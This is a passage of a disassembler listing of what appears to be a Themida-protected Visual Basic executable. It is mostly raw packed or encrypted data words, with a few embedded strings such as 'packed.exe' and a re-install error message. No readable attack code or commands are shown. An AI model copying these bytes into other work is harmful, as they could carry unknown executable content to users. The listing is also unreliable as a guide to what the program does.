17F9147h, 568300AEh dd 192E9h, 943D7E00h, 0D52C2714h, 0B198D31Ah, 0CAD1D746h dd 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh dd 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h dd 0EE73AFh, 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh dd 0CCD4C456h, 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h dd 0E56CA191h, 10000ACh, 43h dup(0) dd 84970000h, 0F033A26Dh, 0EE69h, 4 dup(0) dd 0E9000000h, 1085h, 0E63BD868h, 0E6DE907h, 0DF68FFFBh dd 0E907E63Ch, 0FFFB0E63h, 0E63E7C68h, 0E59E907h, 6668FFFBh dd 0E907E63Fh, 0FFFB0E4Fh, 0E640CB68h, 0E45E907h, 9268FFFBh dd 0E907E641h, 0FFFB0E3Bh, 0E6423468h, 0E31E907h, 0B768FFFBh dd 0E907E642h, 0FFFB0E27h, 0E643A768h, 0E1DE907h, 3168FFFBh dd 0E907E644h, 0FFFB0E13h, 0E6452668h, 0E09E907h, 0F268FFFBh dd 0E907E645h, 0FFFB0DFFh, 0E6467F68h, 0DF5E907h, 0B668FFFBh dd 0E907E647h, 0FFFB0DEBh, 0E648F268h, 0DE1E907h, 1F9FFFFBh dd 0A328A47Bh, 35B63209h, 0BA40BC93h, 48CF4B22h, 11D2DBB2h dd 4920B63Dh, 0D5AC4ACDh, 6037D759h, 0EDC460E4h, 452BF148h dd 5963289Dh, 0AD314BD4h, 16640486h, 7521E015h, 30452F4h dd 38BC4806h, 9829C59Ch, 8FC88E4Dh, 0C4632269h, 39F89418h dd 22698D73h, 3B38A163h, 6FFA48B1h, 0C2A08A81h, 7838BE5Bh dd 125C59F3h, 6322A128h, 9BCA9993h, 0C4372CBEh, 47DCh dd 0B011E300h, 3B0125AAh, 5B426355h, 7DCB0069h, 9A88477Ch dd 0F118D6DEh, 0C4AA7004h, 0D85B42FAh, 0E3D3A6Fh, 22FD2348h dd 86D43D63h, 0C6A40DFBh, 0DB7BA80Ch, 0C6AA94DEh, 1B156322h dd 753C1948h, 0EB5AC437h, 61000000h, 0C311AD31h, 0CC1AB037h dd 0D096BC40h, 5B4262EAh, 0A9B3D006h, 2D7CE8FBh, 0E975C3F8h dd 77F2C965h, 28E39089h, 1815C46Eh, 428FB6CEh, 0CA82C5Bh dd 0F6DCA24Dh, 0A5B428Eh, 0E15DA4A1h, 0C773C15Dh, 73DC60FAh dd 8D0B6C9Bh, 73C1F6D5h, 0B87E3D72h, 63235CC3h, 0BEEB6C18h dd 1C6A9F39h, 25730990h, 0AD2FEF24h, 1D86100Dh, 7EDB35Eh dd 2363235Ch, 0BF0DAD2Fh, 458C89BEh, 0ECD18A9h, 618C048h dd 702F986Bh, 0E7ABD7C5h, 387A6026h, 2D965B45h, 3E8E352Bh dd 0F48A1141h, 841AA11Dh, 0A0CFD87Ah, 7715EF72h, 0DFCh dd 0EE58909h, 9C730D92h, 26FD9F20h, 0B58C24AAh, 451CB239h dd 20A7A73Ch, 0B437B38Ah, 41C33F16h, 0CA4ECAA1h, 5BB2572Eh dd 289EAF95h, 0BD46CB63h, 3D14AA31h, 8A8CD4C2h, 0FCEB771Ah dd 0AF4BCFFFh, 44325BD8h, 0CE55BD93h, 0F13D3638h, 0CCF54542h dd 6F945A19h, 16322BCh, 0D1BF4A98h, 0E11EC78Eh, 0AFF9F65Fh dd 6322AFC5h, 0CC1AB83Bh, 1092BF40h, 5CED3B70h, 3F0A0F56h dd 0A4F7E45h, 90C4375Bh, 0E0h, 1863297h, 98D1967h, 0B3B386Dh dd 119DEB87h, 0A6F48Ah, 5B4267E8h, 0C39A36BAh, 515AC347h dd 0D848893Ah, 7E2A78ADh, 0A298D543h, 857FEED0h, 0D6CB9150h dd 0AA632382h, 1EF6A41h, 0D197B8D4h, 632286EBh, 109496FFh dd 16666354h, 0CF7B3AABh, 6162B04Ah, 0DE8A3564h, 7AC4C157h dd 6B061BE1h, 8733F25Bh, 18936A00h, 0A8C1A76Dh, 74DD5B44h dd 9FC04777h, 414B801Ah, 72A09B2Bh, 0F5A84620h, 1000000Ch dd 9915EC90h, 27A37A14h, 0B12D04A6h, 40BC932Bh, 434C23B9h dd 9127AEA0h, 1DBB3EBAh, 0A848CA46h, 35D155D1h, 9C62B95Eh dd 63289FB6h, 32BC45CAh, 891B3D44h, 0C9C6D5C1h, 56AF1299h dd 0E43792ADh, 5BF97C3Ch, 37BB6726h, 0A5F38910h, 20216FA4h dd 0DC60DC23h, 42EE6940h, 0F1221FC1h, 0C311AD31h, 6E068C38h dd 96BD4171h, 3F25EB13h, 5B5B4263h, 6E6FBDF2h, 0FBC66239h dd 2C652BEAh, 4863227Ah, 1EB91DFh, 6C632279h, 0E8942372h dd 0EE7AC864h, 8182D068h, 0D9FE4F4Ch, 3FC43700h, 46h, 35B01146h dd 682FB076h, 0D0396322h, 67F2DC82h, 0CA5D6322h, 0B1FF991Eh dd 561DB3B0h, 37173227h, 2068C4h, 116F0000h, 0B07635B0h dd 63227D2Bh, 0E88EDC45h, 63227CFEh, 75246F69h, 0C4370C60h dd 7B6h, 0E41FBD00h, 9A000008h, 7635B011h, 729D1FCBh, 10250F0h dd 807D7ECCh, 289D0236h, 0D695FE63h, 330AA62Ah, 0D89733B7h dd 932E53EAh, 0BEBB283Ah, 0AB6D5400h, 82BD03F9h, 23E2177Bh dd 0EBCB85Dh, 0FD832F6Bh, 57161765h, 427CAB91h, 5956BF5Bh dd 0FBA766CFh, 7FC00E77h, 0FA0D7F6Ah, 43134E34h, 0C4F9625Bh dd 5F25D08Fh, 5B431379h, 0E82F2C95h, 16FCC26Dh, 2A5B4313h dd 1094C4C1h, 477A2674h, 0F6F1DF9Eh, 0E7703685h, 0B95C8A6Ah dd 6AF221B7h, 0D3783E6Dh, 6D63235Fh, 3D248137h, 890C6002h dd 679C9DEBh, 1B32E365h, 0ACE1DDD4h, 429C84A2h, 3BD9B375h dd 0B58h, 0B2892DADh, 4017B136h, 0CAA143C4h, 5930C84Eh dd 0E9C056DDh, 0C44B03E0h, 58DB572Eh, 0E567E3BAh, 6EF26E45h dd 0FF56FBD2h, 28A15339h, 59E26763h, 6F294432h, 21C3DC7Dh dd 8CF0DA24h, 0BC675B42h, 428B10F6h, 3C32C5Bh, 99E9E67Ch dd 53FEBD28h, 73A8F965h, 10250F2h, 0A92954FFh, 511E62ACh dd 5F4D6329h, 0B8F3ABBBh, 36C0BD0Fh, 675AF6CDh, 0BDF9BF7Eh dd 0D16B0F30h, 53FEA968h, 4310A78Dh, 5D5AC35Bh, 360DA92Dh dd 4A1036BAh, 5B431064h, 8CDA0F78h, 4504E1E0h, 0FEED49Ah dd 99025B43h, 0AA76D9Ch, 26632948h, 6553FEBDh, 2FB5763Bh dd 46484997h, 0C345E6ABh, 9FD4D523h, 52EE72A2h, 0DF7BFF7Bh dd 2103EB91h, 6C55E329h, 52CCBA79h, 0F1AC5442h, 0D59BCAC7h dd 0EB09607Ch, 3050F78h, 38F2A420h, 0A6EC05Eh, 17970000h dd 9B209C73h, 2DAE2A01h, 0B238B48Bh, 40C7431Ah, 19CAD3AAh dd 4118AE35h, 0CDA442C5h, 582FCF51h, 0E5BC58DCh, 3D23E940h dd 516328A2h, 0B01143CCh, 47CA7635h, 5D5A5BA9h, 12D8832Eh dd 5B42632Ch, 9217D740h, 0ACA9AAF8h, 289C1E62h, 0CA89F263h dd 27FE9A1Eh, 3D8B27ABh, 0F6B53091h, 801A9F4Bh, 0D4013983h dd 0AD586B0Eh, 63563C02h, 16A5B42h, 42634127h, 0F7F45D5Bh dd 0D0F3796Dh, 497EB349h, 0BE5ADE8Ah, 31D153FFh, 8472ED34h dd 0C6C71E7Fh, 82B2AF62h, 0B5A362FEh, 4A905618h, 5A32660h dd 6915D3D0h, 0E57B0258h, 0A2619697h, 296067DCh, 0A4251963h dd 0A128B402h, 0E2A1D60Bh, 5716B236h, 8E8B27ABh, 0DE47CB47h dd 86070C8Dh, 1C4BE2E4h, 5AE53368h, 421EE46Ch, 8B4BD42Ch dd 1A1B6909h, 9AE9D31Dh, 823F6328h, 9B2D13D9h, 0D8416328h dd 9E1EE4A3h, 456B0ED3h, 0B2F07657h, 1C19205Ah, 0BE6A2992h dd 810D13Ah, 632E5898h, 57DB572Eh, 36E26DBBh, 3CC715B3h dd 42FA9076h, 0E43AC5Bh, 0E12FC94Eh, 2E93E3E0h, 0CA4CF8B7h dd 3381199Fh, 0D100FD32h, 2932CF0Bh, 0A34FFA63h, 0C6AC861Ch dd 0DA632911h, 8EC365E6h, 509E0791h, 9C81DA4h, 9355643h dd 0C7D13A6Bh, 72A453B7h, 90CAA84h, 0FC000009h, 8501D87Ch dd 138F6600h, 9D19F092h, 2CA87F17h, 2F380FA5h, 7D139AB4h dd 9A72AA6h, 9434B632h, 21BD41BDh, 884EA54Ah, 6328A3A2h dd 31B039BEh, 37C311ADh, 0E1C78DB3h, 0FD5B4262h, 3DCD9294h dd 0F2C0ED5Dh, 95886FBDh, 0CAC767E9h, 0CD516134h, 98BD5A31h dd 0FEC3D772h, 10h, 5A871907h, 41943C3Fh, 0EB1F1344h, 9A000004h dd 715013B4h, 5EEFB574h, 0EA63226Ah, 0DF734D81h, 0A9362E3Bh dd 200ECD18h, 0EDFEECB0h, 63532F6h, 0E468340h, 0D6248D38h dd 87325D4Bh, 1FD1D87Ah, 0F6EFD222h, 680A8B37h, 74763C6Bh dd 103631B0h, 0B73CE8A7h, 45F1201Dh, 0D24E25C1h, 5CA8B24Eh dd 6BA64A6Ch, 842F391h, 43C30000h, 0C74CC89Fh, 59DA562Dh dd 0DE64E0B7h, 6CF36F46h, 0EDF6FFD6h, 6D44DA61h, 0F9D06EF1h dd 845BFB7Dh, 11E88408h, 694F156Ch, 856328A4h, 0AD317700h dd 0B037C311h, 1AA7431Ah, 0EE23B940h dd 9BFB692Fh, 268F6328h, 9939BB67h, 3DC16D9Ch, 0CA4ECAA1h dd 0AA55E02Eh, 93E177FEh, 9AD2B892h, 83496328h, 63289B9Dh dd 0C52E48B1h, 9C4978C8h, 0D3DF17DDh, 2E976B0Eh, 0A33FC36Fh dd 0A6CC50CCh, 4262FAE0h, 0EDAD165Bh, 4B99CE68h, 2777D2C0h dd 0EF94C62Fh, 0A53BC2F2h, 0A2D6779Bh, 0CC6A4472h, 7A0h dd 6A41E565h, 0F8CF69EEh, 8259FB7Ch, 11E88006h, 0A1780E95h dd 7C034B98h, 10930FE6h, 9D1F9B72h, 26AA26FDh, 0B70EB38Ah dd 28A50BF1h, 119A1F63h, 25AAB011h, 73C3D8Bh, 0F1D79D48h dd 675B4262h, 0C7304AE0h, 9DD59BCAh, 5963289Bh, 0C08631F0h dd 63289ADAh, 61908DF6h, 6BC831B5h, 74A34371h, 0F442E465h dd 0B289BEF3h, 0C816B236h, 8140A51Ch, 8BA3EBBh, 0DFE9526Bh dd 72A4F9B1h, 1D0EAC86h, 0E8000007h, 71EDC468h, 0FF7B52ECh dd 8905DC7Eh, 18946B03h, 1B24FB91h, 69FF86C8h, 0F5931692h dd 8020A21Eh, 0DA92DA9h, 743A9136h, 6328A58Eh, 31941DA2h dd 37C311ADh, 0E2C917B3h, 29AD3D88h, 94E27E02h, 0EA875E93h dd 0C3D712EDh, 2D13D984h, 415B426Bh, 753DBD8h, 5A000000h dd 30D1Fh, 0AD319A00h, 0AA17C311h, 25D17C3Bh, 482E089Eh dd 645B4263h, 90763CFBh, 0AC5B4263h, 6C174643h, 519F3DC0h dd 54A244C5h, 995F1E53h, 5B4263B3h, 17615EC7h, 63289CDFh dd 0DB572E97h, 0E26DBB57h, 0A6D9CF4h, 43F8A7BEh, 0DA4648EBh dd 5BE1A193h, 777475C3h, 532AC047h, 1CDB0AB7h, 0EB3FD56h dd 0CF8EF76Bh, 2C039F23h, 42902CB0h, 5D8A0BB7h, 0F1F240D6h dd 706D6EBCh, 0D523B940h, 8E4D9829h, 229FE3C8h, 8A94FD63h dd 7542E358h, 2DF7956Fh, 0D8000006h, 61DDB458h, 0EF6B42DCh dd 79F5CC6Eh, 8845BF3h, 0B14EB81h, 59EF76D8h, 0E5830682h dd 7010920Eh, 0FD991D99h, 642A8126h, 6328A67Eh, 32840D92h dd 6769FF86h, 7464860Ch, 52827F0Eh, 857332CEh, 13F484BCh dd 0DF602020h, 0F682403Dh, 0C400972h, 0AB7F6078h, 890BB776h dd 9D9A9BE9h, 5905F8DFh, 0A43A37D7h, 0A13DC1D1h, 30282DCAh dd 76EC3D7h, 75000000h, 1931Fh, 0AD319A00h, 0DEC50711h dd 18F272A2h, 5A37Ah, 3EE26200h, 0CC66EB67h, 56F879F5h dd 0E57D037Fh, 750B920Eh, 4E959Eh, 900CE379h, 1C986F0Dh dd 0A723FA9Ah, 0BB08723h, 0A708EEB4h, 9F246328h, 11AD3116h dd 76FBA752h, 631C02DCh, 0CD485B42h, 77CEE9B6h, 7B78E1FBh dd 44AD31BDh, 0D85B3A8Dh, 75F4383Ah, 15FC4A7Fh, 56DAE8BBh dd 1146E3BAh, 87C3D734h, 2Eh, 486328Eh, 6EBC52D9h, 0E9EA386Dh dd 637E642Ah, 29925B42h, 102EA2Ch, 32650000h, 62DBC187h dd 0FBEF5B42h, 0A8A5DA78h, 0EF66h, 8632E100h, 0BC52D904h dd 0EA386D6Eh, 259CECE9h, 905601C0h, 5B4263AAh, 63755B21h dd 20895B42h, 71A09D06h, 0F9971AC6h, 63ADAAABh, 63289D2Bh dd 802C7AE3h, 3AE5A441h, 0BA14FC4Ch, 0C2881C85h, 6328E2DCh dd 505287F0h, 50F222B4h, 206A6783h, 6B097D5Bh, 74C2CC35h dd 4372A41Ah, 4AECB69h, 0D7570000h, 5BE05C33h, 0ED6EEAC1h dd 72F8744Bh, 8703DAh, 598A936Ah, 1D86EF5h, 8D640285h dd 18EF8F11h, 0A57C189Ch, 0FDE3A900h, 116328A7h, 8632038Ch dd 0BA52D805h, 39363785h, 0FF82D8E9h, 831BA161h, 40FF3435h dd 22B2787Ah, 41C36F63h, 0ABF98F16h, 9B2775AAh, 4B487D15h dd 0ED9958C1h, 5DF3CA6Ch, 6322B174h, 0B83F66EAh, 8349D422h dd 6322B19Dh, 0DE1348B1h, 0C7F1731Fh, 22B11B01h, 91C62F63h dd 50D14D94h, 21C260AEh, 3D000004h, 7635B011h, 0FD9D1FCBh dd 67B1AEAFh, 63289D2Fh, 30D25347h, 5EACE1E2h, 0C8090FB2h dd 700860EAh, 31660688h, 250EE71h, 470DCC01h, 6B08C182h dd 0D5EBF55Eh, 0E272A4DEh, 3E26A08h, 0A3230000h, 27AC28FFh dd 0B93AB68Dh, 3EC44017h, 0CC53CFA6h, 8D565F36h, 0CDA43AC1h dd 5930CE51h, 0E4BB5BDDh, 7148E468h, 0C9AF75CCh, 0E56328A7h dd 0B011D760h, 7CB07635h, 9463289Ch, 3BC06C2Bh, 0C975A4A1h dd 0FF991E45h, 0F377F3CAh, 645D0957h, 57608FB4h, 6DE756AFh dd 0C25C9BDh, 29E81D52h, 0F4CBE63h, 0AA69D26Bh, 8E547AFEh dd 5B42ECA8h, 4F265BC4h, 65B34FD3h, 1EDD08B9h, 2311B358h dd 5A64CD63h, 75427270h, 55CF6D47h, 0B0000003h, 39B58C30h dd 0C7431AB4h, 51CDA446h, 0E05C33CBh, 0E3ECC359h, 31C74E00h dd 0BD5BDE5Ah, 48E86AE6h, 0D571F571h, 3C0259FEh, 6328A956h dd 315CE56Ah, 38C311ADh, 5DE3068Ch, 417677C5h, 0DCC525F3h dd 0CFB07FDh, 7964D5D7h, 0A6F21D9Ch, 0CEF579A9h, 0A279AE4Ah dd 0DAA0BB06h, 5B4341F4h, 59DF9F08h, 7CD8CC1h, 632348CEh dd 68F341AAh, 9D9A3ABCh, 233C6953h, 8BDAD463h, 37CBFDDAh dd 411BC4h, 11220000h, 0CB7635B0h, 63745A20h, 1F885B42h dd 0EE3CDE5Fh, 81A6F0EDh, 9B632264h, 543EE432h, 0BF632264h dd 591E3E2Ch, 22679A8h, 75246F05h, 0C437E060h, 5601210Fh dd 0B120C4C9h, 0B52CB4h, 31330000h, 4E344ADh, 0F72574E3h dd 42FE4B31h, 0C1F65F5Bh, 0FE563C02h, 16A5B42h, 6BF27ECCh dd 51FC87D5h, 42FEA58Bh, 5350B95Bh, 0B5039F23h, 3209A529h dd 4303849Ch, 36D2565Bh, 0C35FE35Fh, 0EDF8C975h, 63FD822Eh dd 20713766h, 2C632326h, 7150ECC3h, 0CEEFB574h, 5A6B05DBh dd 0FF8632F1h, 6B179269h, 21514EE4h, 0DAFA049Ah, 0F172A0DEh dd 21E7917h, 67E70000h, 0EB70ECC3h, 7DFE7A51h, 28804DBh dd 9017936Ah, 0C91A23FAh, 9168FE85h, 1DF49215h, 0A87F1FA1h dd 350CA82Ch, 8D733990h, 0A16328AAh, 0AA31931Ch, 3DC13D14h dd 636B5117h, 167F5B42h, 328D0AE1h, 80F59987h, 360E71B5h dd 4315765Ch, 0D1978A5Bh, 5B4314EBh, 0A16196FFh, 3132801Eh dd 8DDE434h, 175E8349h, 0A24D6323h, 2315F6DCh, 0A3D40A63h dd 0E42D03F2h, 0CA511146h, 77AD3734h, 0F4BAED3Fh, 6323130Eh dd 82B7B922h, 88D60BE9h, 22AFF8E2h, 0C3EB6E63h, 22B017FDh dd 95CA3363h, 983ABB47h, 0E0B3B94Ah, 0CD98925Dh, 375BBF9Ch dd 0C1DDC4h, 31E40000h, 37C311ADh, 0AF5B1AB0h, 0B4408E2Ch dd 4647952Fh, 0B0561411h, 5B426798h, 13EA860Ah, 29771397h dd 0E2A1447Dh, 0CB19AF36h, 0D89ECDCAh, 63228A87h, 0A5411881h dd 5E0AC91Ch, 154441D7h, 9F39BE6Ah, 1959D19Dh, 5C59C44Ch dd 5449212h, 0E38E396Bh, 44F4371Dh, 10EA535Bh, 5B44F42Ah dd 56E0DD46h, 86402EEDh, 977405Bh, 194EF071h, 0BA41ED1Ch dd 26D24D24h, 0DC0C099Fh, 21B5BF55h, 1672A031h, 0E29E3Ch dd 0A3230000h, 27AC28FFh, 0B93AB68Dh, 3EC44017h, 0CC53CFA6h dd 8D565F36h, 0CDA43AC1h, 5930CE51h, 0E4BB5BDDh, 7148E468h dd 0C9AF75CCh, 0E56328AAh, 0AA31D760h, 3DC13D14h, 324DCAA1h dd 1A680086h, 68EC1C19h, 6EF27ECCh, 0D89EC247h, 5B4262F2h dd 3B70A50Eh, 250BD17Ch, 395B4263h, 0F28A10D0h, 5FA6A3A4h dd 28E7FEC3h, 289BB962h, 1C6AD363h, 99700C90h, 3EFD991Dh dd 27750B92h, 0C56B2926h, 769B12CFh, 68EE9AC9h, 848182D0h dd 6C18A7EEh, 22524FE5h, 0AF2B029Eh, 0B6418F2Bh, 9DEB850Ah dd 0E96F9F9Ch, 0F1770351h, 0FB7F0B59h, 7A80115Fh, 7C42262Bh dd 79159929h, 39A226A2h, 0C2946C14h, 182F31B6h, 0F720D073h dd 3AD8265Bh, 14h, 60460CB7h, 946FD711h, 105919CDh, 92FB155Fh dd 0B5026495h, 0BF0DB131h, 0C513AF33h, 0C917B739h, 0CE1CBA3Dh dd 0D725BB42h, 0E02EC44Bh, 0E836CE54h, 0EB39DB5Ch, 0F240DA5Fh dd 77A26863h, 2C890000h, 0E6895624h, 4C681h, 0EE830000h dd 24348704h, 2414895Ch, 1B9568h, 240C8900h, 3A6EBF57h dd 0FA8907E6h, 83243C8Bh, 8B5404C4h, 0C483240Ch, 58525004h dd 58084189h, 592434FFh, 4C481h, 34FF0000h, 0C4835A24h dd 0FE01E904h, 2CDFFFFAh, 0EAA00A4Ah, 2BD75A78h, 3BF5FD43h dd 49F9B8A0h, 0C50307E6h, 0E91E0FFh, 4C7A23h, 75E87F25h dd 7889782Eh, 8BBF3B54h, 6D7B315Ah, 0CA4152h, 0A5D485Eh dd 88B806D4h, 7FE96016h, 6000001h, 0C57B4976h, 4377E705h dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh dd 657865h, 3Ah dup(0) dd 33000000h, 6E6E6143h, 6620746Fh, 20646E69h, 27732527h dd 6C50202Eh, 65736165h, 6572202Ch, 736E692Dh, 6C6C6174h dd 69687420h, 70612073h, 63696C70h, 6F697461h, 6854006Eh dd 54526E75h, 6E69614Dh, 765F5F00h, 61566162h, 74735472h dd 654Eh, 8 dup(0) dd 58E90000h, 6800001Ch, 7E64E5Bh, 0FA34BEE9h, 4F3C68FFh dd 0B4E907E6h, 68FFFA34h, 7E6504Bh, 0FA34AAE9h, 511A68FFh dd 0A0E907E6h, 68FFFA34h, 7E65159h, 0FA3496E9h, 520A68FFh dd 8CE907E6h, 68FFFA34h, 7E65262h, 0FA3482E9h, 52B668FFh dd 78E907E6h, 68FFFA34h, 7E65A7Eh, 0FA346EE9h, 5B0368FFh dd 64E907E6h, 68FFFA34h, 7E65BD9h, 0FA345AE9h, 5CD568FFh dd 50E907E6h, 68FFFA34h, 7E65D33h, 0FA3446E9h, 5DE668FFh dd 3CE907E6h, 68FFFA34h, 7E65E60h, 0FA3432E9h, 5EF568FFh dd 28E907E6h, 68FFFA34h, 7E66568h, 0FA341EE9h, 667668FFh dd 14E907E6h, 68FFFA34h, 7E66718h, 0FA340AE9h, 5A14FCFFh dd 0CF876E40h, 46FEE3B5h, 0B9715A2Ch, 31EBCD9Fh, 2419C217h dd 9C6E8842h, 12E4FEB8h, 8B5D772Fh, 0F1D1EBA5h, 54CEE306h dd 36A821D4h, 8B452B9Ch, 0E1A28886h, 4A4146FEh, 0A0A11033h dd 8ADD29BAh, 0B48EC5DFh, 161419D1h, 7970752Dh, 0AC74C8CEh dd 0A955788Fh, 0AF2E5AA7h, 866B455Ch, 347BC8CEh, 21DA9A79h dd 0B00E63C4h, 53D4E072h, 399Dh, 486BAA00h, 21DA9369h dd 9ABCC215h, 0D9F04FD1h, 5AA03CB6h, 586FC22Eh, 0DCE29C7Eh dd 0A065488Fh, 77D821DAh, 0EB86C41Ah, 2BB153D4h, 0BE000001h dd 94555C7Fh, 0CE2121DAh, 452BA6C8h, 0B19A748Bh, 6E91F4F9h dd 29BAA143h, 373DE83Bh, 6E4887EAh, 0D4CBD08Ah, 0BAA0D8D9h dd 454B9E29h, 98AF694Bh, 90B3D7BEh, 29BAA121h, 5A5F0A5Dh dd 0AD105D63h, 0A50C2F6Eh, 0D129BAA0h, 0A12E837Eh, 0F54829BAh dd 0A0A65E43h, 1AFFC0A6h, 12BD775Bh, 18C37B60h, 0F3D6B013h dd 553B353Bh, 0A0A50C2Fh, 68A429BAh, 23D496D4h, 721D7047h dd 0E098815Bh, 7CDEE4DBh, 0B9F71861h, 0ECAD9329h, 544B500Ah dd 0D7BD8FA9h, 50C0181Dh, 4326E5CCh, 0E48F868Bh, 4D36E8DFh dd 0F9D3EA95h, 5C535810h, 0EED4F756h, 682E59D6h, 41CFFB15h dd 0A7A8CBE2h db 92h, 77h, 26h byte_5B15DB db 0Fh ; DATA XREF: Themida_:0055506Do dd 0E2CBA5BCh, 0C1F0132Ah, 0BD29B86Ah, 0C605646Ah, 69A5379Ah dd 0EBF1D0A6h, 3B550FF1h, 0F4CD8769h, 0E6119799h, 7293C1AAh dd 86000019h, 0F8CAE49Eh, 6D3F5911h, 0E4B6D088h, 572943FBh dd 4CA1BB75h, 12CCAE63h, 884226F8h, 1B99C6Eh, 752F15E7h dd 6D907B5Bh, 21D45344h, 2B2EC83Ah, 0A3758F49h, 0B2E903BDh dd 0A1615073h, 0CA1D29BAh, 4FD1A2C4h, 3CB6D9F0h, 0C22E5AA0h dd 8A236A6Fh, 1121DA9Fh, 7371762Eh, 0CFCDD28Ah, 0D60B32EAh dd 924A2F79h, 1976D7E7h, 0D4EB87C3h, 0A7B053h, 2BFA0000h dd 88868B45h, 545D80A6h, 2A29BAA1h, 0C4272CD7h, 0A1596798h dd 0FD039670h, 0B9B6BFBAh, 0BC765C29h, 2D3279A5h, 0C9CD856Eh dd 14F75795h, 49ABB15Ch, 0D2D79177h, 8299967Ah, 59B8635Fh dd 738ADD2Eh, 0BA745A34h, 0D9B7F2BFh, 33398C21h, 0BC7BA5D1h dd 2EDC82A5h, 0C71A2677h, 3AF4D6B0h, 0B26C4E20h, 114084D9h dd 82B099E6h, 1891h, 0ABC57F67h, 203AF2D9h, 97B1694Eh dd 0A24DCC5h, 829C5638h, 0AD8F842Dh, 2307D9F3h, 9A7D4F69h dd 10F6C8E2h, 715C3C56h, 0D452634Eh, 0FA91B21h, 758F492Bh dd 0E903BDA3h, 8ECC6EFh, 684E484Eh, 0CADACE55h, 512529E1h dd 1027D25Eh, 839A5436h, 0B9CE5160h, 0D4DA2D29h, 0A6E52487h dd 0B9CE2E83h, 0FAF54829h, 29B9CDB7h, 6C666CBFh, 86B2CC86h dd 63869D9Ah, 2E59AE8Bh, 4E959AEDh, 21D9AE5Fh, 126793DEh dd 0B6533C46h, 86DB5056h, 0D4E0FA28h, 7A603A53h, 0DD36BAC0h dd 80000000h, 9E3B2B3h, 6D646923h, 2E0D1367h, 0A572F417h dd 0A1F42E5Ah, 0FEDA05ECh, 0A1E0F53Fh, 4001337Eh, 0C9E80B56h dd 0B5564000h, 32388B62h, 0DEF532DEh, 0DFE7DFBBh, 583F195Ah dd 9EA49BA0h, 0CF272C7Fh, 0A8CBE241h, 59BF552Dh, 0CC8D6F49h dd 0D48631E9h, 3C3338F2h, 0ADC41736h, 1933EDD3h, 0BAA06147h dd 535810F9h, 2D06B15Ch, 0B988E6DEh, 82E00EF7h, 76000017h dd 0E8BAD48Eh, 5D2F4901h, 0D4A6C078h, 471933EBh, 3C91AB65h dd 2BC9E93h, 783216E8h, 0F1A98C5Eh, 651F05D7h, 5D806B4Bh dd 21D45154h, 2B1EB82Ah, 23868B45h, 0A9AE6649h, 0C858ACB2h dd 0BD31546Bh, 3B2E5A80h, 8158597Ch, 0CB1E21DAh, 0ABDE83C7h dd 0E6912406h, 446D90CFh, 3A21D9D4h, 4ADD0E7h, 7A21D9D4h dd 0C5BF2127h, 22EEB2B3h, 3214EE05h, 0D4137278h, 0BB9A8DA8h dd 0FBA6EAB8h, 0A5AE3549h, 0FD4046F1h, 2E59BA69h, 0B0974C9Fh dd 0A6B16F13h, 566DCA56h, 92716733h, 898EE1ADh, 4AE5FA26h dd 1E7789D7h, 0DF5CC418h, 2130A5C8h, 3386A731h, 0A25C421Ch dd 0FD0B688h, 0B5B182Bh, 0B8066775h, 4089620Dh, 5D66DAC6h dd 16B34674h, 5D450000h, 0D0B789A3h, 472CFE18h, 0BAA3758Fh dd 3416E802h, 0A20B607Ah, 0B7D18B6Dh, 2D4701E5h, 0A6C0785Bh dd 1A34EED4h, 852C4F3Ah, 0F121D44Fh, 452BE57Fh, 0F0FFB28Bh dd 0A790E60Eh, 167479h, 0E29C8400h, 570FF6C8h, 0CE866B3Dh dd 41F9E2B4h, 0B9735527h, 0AC614A9Fh, 24F610CAh, 9A6C8640h dd 13E5FFB7h, 7959732Dh, 50466B8Eh, 0BE3021D4h, 8B452B24h dd 65492386h, 409C1A4h, 665D620Dh, 27040C60h, 8F79ED10h dd 9CEF2E5Ah, 82283882h, 0FEB89A9Eh, 4D193C53h, 8B267A74h dd 0A6808338h, 3A779AC0h, 4429BA6Bh, 0FD4046F1h, 0B511E262h dd 677EBD63h, 0B1FA5644h, 0D8DD3091h, 7C939080h, 11377C59h dd 90A7FA93h, 0DB957751h, 34F5DBD5h, 0EDA58E4Dh, 4146F1E8h dd 0C8F6BBDEh, 2D808D0Eh, 0EBBDD782h, 0C5724B05h, 5A82BAC9h dd 15C34371h, 4D350000h, 0C0A77993h, 371CEE08h, 0AA93657Fh dd 2406D8F2h, 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh dd 0A24DEC4h, 951C3F2Ah, 0E121D44Eh, 0ECC6D56Fh, 3464C06h dd 29BAA0AEh, 0BAB109A4h, 0A1644929h, 0BFEE29BAh, 0DC29BAA0h dd 0BC633CF6h, 55E60EF1h, 156B3E6Ch, 0A58D0000h, 18FFD1EBh dd 8F744660h, 2EBBDD7h, 7C5E304Ah, 6A53A8C2h, 0FF19D3B5h dd 758F492Dh, 0EE08C0A3h, 627C361Ch, 3D749782h, 3921D44Fh dd 0ECC62DC7h, 14374E08h, 29BAA09Dh, 2C8086D9h, 0D3047E4h dd 2E5AB0DDh, 46E7C013h, 0E3EDEF01h, 1517CCFAh, 0F9E10000h dd 6C53253Fh, 0E3C89AB4h, 563F112Bh, 0D0B2849Eh, 3EA7FC16h dd 536D2709h, 0C9E39D81h, 425C14F7h, 0B6D08A70h, 0E9C8EBD6h dd 9521D44Eh, 452B8923h, 0A288868Bh, 3D6EE3E8h, 0E65C8AE0h dd 35775434h, 0C1000000h, 0BAA0CBE2h, 0DB3F6B29h, 0E98B735Eh dd 260C060Ch, 1537526Ch, 0B729E094h, 28E2C6A0h, 977A2C23h dd 0DDE3DADFh, 14A76290h, 8FBB0000h, 0DDDE25A0h, 0B8DAE04Ch dd 868B452Bh, 5A3EE22Eh, 0F9A49BA0h, 8397BFE2h, 9EF12E5Ah dd 12CAAD87h, 0DCFF160Dh, 21DA7BD5h, 0E6484EA1h, 0C2D956BAh dd 7A995F9Fh, 8186D926h, 0CCE69E83h, 0BA66FDB1h, 1B9A029h dd 6F2E15E7h, 0D5CCD18Bh, 9E0FECD1h, 0A04BECD8h, 0FEB69D9Bh dd 6C240DE7h, 68B11966h, 22DAC10Bh, 0BFFC2A08h, 5B175434h dd 61000002h, 0D9F04FD1h, 